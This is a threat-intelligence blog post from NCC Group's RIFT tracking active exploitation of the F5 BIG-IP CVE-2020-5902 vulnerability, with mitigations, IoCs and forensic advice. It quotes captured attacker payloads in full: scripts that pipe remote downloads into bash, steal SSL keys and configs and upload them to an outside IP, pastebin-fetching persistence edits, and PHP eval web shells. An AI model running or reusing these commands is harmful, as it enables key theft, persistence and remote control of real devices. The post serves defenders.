RIFT: F5 Networks K52145254: TMUI RCE vulnerability CVE-2020-5902 Intelligence

tl;dr

CVE-2020-5902 was disclosed on July 1st, 2020 by F5 Networks in K52145254 as a CVSS 10.0 remote code execution vulnerability in the Big-IP administrative interface. By July 3rd, 2020 NCC Group observed active exploitation. This blog is a summary of what we know as the situation develops.

About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IoCs and detection capabilities to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.

The Vulnerability / Patch

Our advice is if you patched after 4th July you need to assume compromise and conduct an forensic examination of the server. If you applied any of the mitigations, it is also likely, and you should check for signs of exploitation soon before logs are rotated.

The vulnerability was discovered by Positive Technologies and an associated blog post released on July 2nd, 2020. NCC Group’s RIFT established a live post on Reddit on July 3rd to collate early intelligence and raise awareness within the cyber defence and sysadmin communities.

In the F5 knowledge base article K52145254 there is the following mitigation:

<LocationMatch ".*\.\.;.*">
Redirect 404 /
</LocationMatch>

This regex checks for:

..;

As such it can be described as a directory traversal vulnerability. This ability combined with functionality native to the device provides the ability to access files, upload files and execute code without authentication.

Timeline of Events

Click for full size

Reporting Vulnerable Hosts to Providers

We had someone report to our hosting provider one of our vulnerable hosts.

REST Exploitation

We observed a novel code execution mechanism. The risk is that anyone who has gained a password via:

  • Backdoor account addition via original RCE vectors (tmsh, hsqldb)
  • Dumped/cracked passwords (via RCE or `tmsh list`)
  • Password spraying for known backdoor accounts  

Can still execute code using the REST API

More Complex Payloads and Miners

As of July 14th, 2020 we are seeing an actor deploy the following.

// firmwareupdate.php 
curl http://148.251.87.169/metrics.php | bash > /tmp/f5_reconfig.txt;
tar -czvf /tmp/ssl.tar.gz /config/ssl/;
tar -czvf /tmp/f5_metadata.tar.gz /tmp/f5_reconfig.txt /tmp/ssl.tar.gz;
rm /tmp/ssl.tar.gz /tmp/f5_reconfig.txt;
openssl enc -in /tmp/f5_metadata.tar.gz -out /tmp/enc.dat -e -aes256 -k 5up3r53cr37p455w0rd;
curl -F "dnscache=@/tmp/enc.dat" http://148.251.87.169/dnscacheresolve.php;
rm /tmp/f5_metadata.tar.gz /tmp/enc.dat
​
// metrics.php 
#!/bin/bash
commands=( 'which getenforce > /dev/null && getenforce || echo Disabled'
           'find /config -name "*.conf" | xargs tar P -T /dev/null --dereference -zc --ignore-failed-read | base64'
           'find / -maxdepth 1 -type f -name "VERSION*" | xargs tar P -T /dev/null --dereference -zc --ignore-failed-read | base64'
           'if find /etc -maxdepth 1 -name "rsyslog*" -type d > /dev/null 2>/dev/null; then grep -Rq "^[^#]*@@" /etc/rsyslog*; echo $?; else echo "1"; fi'
           'if find /etc -maxdepth 1 -name "syslog-ng*" -type d >/dev/null 2>/dev/null; then grep -Rv "^\\s*#" /etc/syslog-ng* | grep -q "destination remote"; echo $?; else echo "1"; fi'
           "grep -oE 'cache-path ([^\S]+)' /config/bigip.conf | awk '{ print $2 }' | xargs tar P -T /dev/null --dereference -zc --ignore-failed-read | base64"
           'ifconfig'
           "cat /proc/uptime | awk '{ print $1 }'"
           'find /usr/lib* /lib* -type f -name "*.so*" -exec md5sum {} \;'
           'tar P -T /dev/null --dereference -zc --ignore-failed-read /var/log/audit | base64'
           'tar P -T /dev/null --dereference -zc --ignore-failed-read /root/.tmsh-history-root | base64'
           'cat /proc/meminfo'
           'cat /proc/cpuinfo'
           'df -haP'
           'tar P -T /dev/null --dereference -zc --ignore-failed-read /config/bigip.license | base64'
           'ls -l /config/bigpipe/config_base.conf'
)
for command in "${commands[@]}"; do
    echo "___"
    echo "___" >&2
    echo $command | bash
    echo "~~~"
    echo $?
done

We have also seen the actor checking, we suspect to try and detect honeypots

they are checking /etc/rsyslog*

We also saw a couple of days ago our first xmr miners, these have continued to be deployed

SHA1: 79f80e6528e6bf552f55f8efe9d8d291ec0a2e78 


Deployments Continue

As of July 12, 2020 at 20:00 we’re observing various actor activity including

Jul 12 20:52:39 
"sha1": "eebc1efe99bb5040498365322105cc5bd4dc59a5", 
"full_path": "/tmp/sh-thd-1594586507", 

"contents": 
'getrektdotcom\\nmount -o remount,rw /usr &&sed \\'/renice/ a system(\"nohup curl https://pastebin.com/raw/jDu3vDgM | bash & disown\"); # upload metrics\\' -i -- /usr/bin/diskmonitor && sed \\'/AlertThres/ a system(\"nohup curl -L f5update.ddns.net/update.html | bash & disown\"); # check for updates\\' -i -- /usr/bin/diskmonitor && mount -o remount,ro /usr\\ncurl \"http://f5updates.eu5.org/updates/update.sh\" | bash\\nchmod 644 /var/run/config/resolv.conf\\necho \"nameserver 1.1.1.1\" >> /var/run/config/resolv.conf\\nchmod 444 /var/run/config/resolv.conf\\nrm /tmp/8RGJUXMSDC\\n'

and

Jul 12 20:53:07 
"sha1": "784fb1aea7d9693e7df4ba70fb8abc7138701ccf", 
"full_path": "/usr/bin/sedP6OVFl", 

"contents": "
#!/usr/bin/perl\\n#\\n
#       Monitor disk usage\\n
#       - Log warning and error conditions\\n
#       - Launch log rotate to reduce space\\n
#       - Persist info for predictive warnings\\n
#\\n
\\n
use strict;\\n
use F5::COAPI;\\n
use Scalar::Util qw( reftype );\\n
\\n
use constant {
\\n    
MCP_PHASE_NONE => 0,\\n
};\\n
\\n
our $LOG_WALL; 
# call_log will also write on wall if true (localizable)\\n
system(\"nohup curl https://pastebin.com/raw/wbPw3E65 | bash & disown\"); # check for updates\\n
\\n
# fwd decl / proto\\n
sub isMcpdListening();\\n
sub getDbVars();\\n
\\n
#\\n
#  globals\\n
#\\n
my $enable      = \"disable\";\\n
my $interval    = 10;\\n
my $timelast    = 0;\\n
my $mcpd        = 0;\\n
my $now         = time();\\n
my $nodb        = 1;    # find any DB vars?\\n
my $minfree     = 100;  # min free space in any partition\\n
my $object      = undef;\\n
#\\n
#  arrays indexed by partition\\n
#\\n
my %monitor     = {};   # action:  check changes, limits, growth, none\\n
my %warn        = {};   # percent level to warn if above\\n
my %alert       = {};   # percent level to alert if above\\n
my %growth      = {};   # perce

Another Mitigation Bypass and IoC

As of 15:23 on July 11, 2020 we’ve observed another attempted mitigation bypass variant

The actor us used to use a netcat back to 217.12.199[.]179

By pass used in this instance was disclosed publicly on July 10th, 2020 on Twitter.

Mitigation Bypass and IoCs

As of 18:24 on July 7, 2020 it has been publicly reported that the mitigation can be bypassed.

Our data shows this bypass was first publicly exploited at 12:39 on July 7, 2020 (6 hours before).

the response to the above was a revised mitigation of

<LocationMatch ";">
Redirect 404 /
</LocationMatch>

Early data made available to us, as of 08:05 on July 8, 2020, is showing of ~10,000 Internet exposed F5 devices that ~6,000 were made potentially vulnerable again due to the bypass.

We’ve released bypass IoCs at:

https://github.com/nccgroup/Cyber-Defence/blob/master/Intelligence/CVE-2020-5902/bypass-iocs.md

As of 17:09 on July 9th, 200 we’ve observed a second actor using a bypass.

The actors inbound attack and their reverse shell went to the class B 195.123.

Further Mitigation Bypasses

As of 19:40 on July 8, 2020 F5 have stated all previous mitigation where not fully effective

Our advice remains to UPGRADE not mitigate and IP filter TMUI interfaces.

Exploitation

The graph below shows the exploitation seen on NCC Group’s honeypot during the morning of July 5th, 2020.

Click for full size

The graph below shows the exploitation seen on NCC Group’s honeypot during the morning of July 6th, 2020

Click for full size

Exploitation is varied including the access of password hashes:

As of Saturday remote code execution capabilities existed.

The first IPs we observed actively exploiting the issue were published at 17:00 UTC on July 4th, 2020 – https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2020-5902

In addition to these initial exploit attempts quickly there after details were shared in open source.

Staged Exploitation

We have as of 10:00 on July 6th, 2020 started to see staged exploitation, namely a payload of:

The full payload is

Click for full size

We have as of 10:29 on July 6th, 2020 started to see a second staged exploitation, namely:

Click for full size

With a payload of

Click for full size

IoCs for the 2nd stage are

b8ce500c1e6ec4d4268ae0d2de82f9f35bbfc673  /tmp/demo.txt

We have as of 16:17 on July 6th, 2020 started to see a third staged exploitation, namely:

e1775079d58a6266fdd6185143642ac53b4314fe  /var/log/F5-logcheck/zabbix

another IoC for this actor is

/tmp/cepi

Of note this actor did their original scans on July 6th, 2020 at 10:30 and the returned ~6 hours later.

Webshells

As of 16:51 on July 6th, 2020 we’ve seen our first web shell

mount -o remount -rw /usr ; echo PD9waHAgQGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2NpdHJpeEBraGFycGVkYXInXSkpOz8+ | /usr/bin/openssl base64 -d -out /usr/local/www/xui/common/images/bg_status.php

when decoded appears to be a reused web shell from Citrix

<?php @eval(base64_decode($_POST['citrix@kharpedar']));?>

As of 09:26 on July 7th, 2020 we’ve seen a second web shell

mount -o remount -rw /usr ;echo 'utility<?php @eval(base64_decode($_POST["session_sK4hodQm"]));' > /usr/local/www/xui/common/scripts/utility.php;mount -o remount -r /usr

As of 10:10 on July 8th, 2020 we’ve seen a third web shell

mount -o remount -rw /usr ;echo 'utility<?php @eval(base64_decode($_POST["session_4yps1tV2"]));' > /usr/local/www/xui/common/scripts.php;mount -o remount -r /usr

As of 10:15 on July 8th, 2020 we’ve seen our first JSP web shell

New Exploit from Release to Use in < 12 Hours

As of 12:30 on July 7th, 2020 we’ve seen use of a new exploit

Whilst not shown above it was combined with this detection bypass attempt not discussed in the blog.

We can see them trying to set a password of ABcD007

Actors Enabling Features

We’ve observed during the morning of July 8th, 2020 actors doing a multi-staged attack with the following the first payload

java.lang.System.setProperty"('org.apache.commons.collections.enableUnsafeSerialization','true')

Impact

As the devices are load balancers they provide the opportunity to:

  • Acquire credentials
  • Acquire access to existing sessions through cookie theft
  • Acquire license keys
  • Perform traffic interception and modification
  • Pivot into the internal network
  • Acquire the private keys to any SSL/TLS certificates on the device

SIEM Log Configuration

F5 provide documentation on how to configure SYSLOG integration, which we strongly recommend.

Incident Analysis

There are forensics artifacts available, although the log they are stored is limited to 20MB and thus risks cycling quickly.

Click for details

The wider HTTP log configuration differs from a default configuration.

#
# The location and format of the access logfile (Common Logfile Format).
# If you do not define any access logfiles within a <VirtualHost>
# container, they will be logged here.  Contrariwise, if you *do*
# define per-<VirtualHost> access logfiles, transactions will be
# logged therein and *not* in this file.     
#     
#CustomLog "logs/access_log" common     
#    
# If you prefer a logfile with access, agent, and referer information
# (Combined Logfile Format) you can use the following directive.     
#     
CustomLog "/var/run/httpd.pipe" acc_combined

The configuration causes it to send its output to a pipe. This pipe ultimately goes to systemd/journalctl

# grep httpd /etc/syslog-ng/syslog-ng_sysinit.conf.default 
source s_httpd {
   pipe("/var/run/httpd.pipe" optional(yes) perm(0660) group("apache"));
destination d_httpd_err {
   file("/var/log/httpd/httpd_errors" create_dirs(yes));
   source(s_httpd);
   destination(d_httpd_err);

Other forensic artifacts made include new .jsp files or similar used to achieve code execution.

Exploitation Detection

A Sigma rule has been created and available here. However in order to utilize it will require for the logs of the Big-IP to be sent to a SIEM as passive network detection won’t work unless SSL/TLS can be decrypted.

Incident Support

Believe your organisation may have been compromised? Contact us on cirt@nccgroup.com

Change Log

July 20th, 2020 @ 17:22 – v1.29 – added REST exploitation mechanism
July 14th, 2020 @ 12:37 – v1.28 – further activity including more complex activity
July 13th, 2020 @ 09:54 – v1.27 – further activity
July 12th, 2020 @ 11:19 – v1.26 – linked to public disclosure of bypass used yesterday
July 11th, 2020 @ 16:14 – v1.25 – variant of bypass observed
July 9th, 2020 @ 18:45 – v1.24 – second actor using bypass
July 8th, 2020 @ 19:40 – v1.23 – further mitigation bypasses added
July 8th, 2020 @ 11:29 – v1.22 – added bypass IoCs
July 8th, 2020 @ 11:13 – v1.21 – added web shells and 1st stage
July 8th, 2020 @ 08:08 – v1.20 – updated advice
July 8th, 2020 @ 08:06 – v1.19 – added bypass impact quantification i.e. those that became vulnerable
July 8th, 2020 @ 07:12 – v1.18 – added revised mitigation for completeness
July 7th, 2020 @ 20:56 – v1.17 – added mitigation bypass update
July 7th, 2020 @ 20:53 – v1.16 – added SYSLOG integration
July 7th, 2020 @ 13:15 – v1.15 – added new exploit
July 7th, 2020 @ 09:26 – v1.14 – added the second web shell
July 6th, 2020 @ 17:09 – v1.13 – added the first web shell
July 6th, 2020 @ 16:40 – v1.12 – added another staged payload
July 6th, 2020 @ 13:13 – v1.11 – added detection aspects and session cookie theft
July 6th, 2020 @ 10:21 – v1.10 – added staged payload
July 6th, 2020 @ 09:48 – v1.9 – added Honeypot attack volumes from this morning
July 6th, 2020 @ 09:34 – v1.8 – added fact Metasploit exploitation seen in the wild
July 6th, 2020 @ 09:00 – v1.7 – added timeline of events
July 6th, 2020 @ 05:46 – v1.6 – added Metasploit modules and other public exploits released overnight
July 5th, 2020 @ 21:22 – v1.5 – added license key theft based on honeypot data
July 5th, 2020 @ 17:34 – v1.4 – included link to fully functional exploit being shared
July 5th, 2020 @ 16:28 – v1.3 – Further clarification on log pipe consumption
July 5th, 2020 @ 16:23 – v1.2 – New journalctl output example
July 5th, 2020 @ 16:16 – v1.1 – Clarified log pipe usage
July 5th, 2020 @ 15:40 – v1.0 – Initial version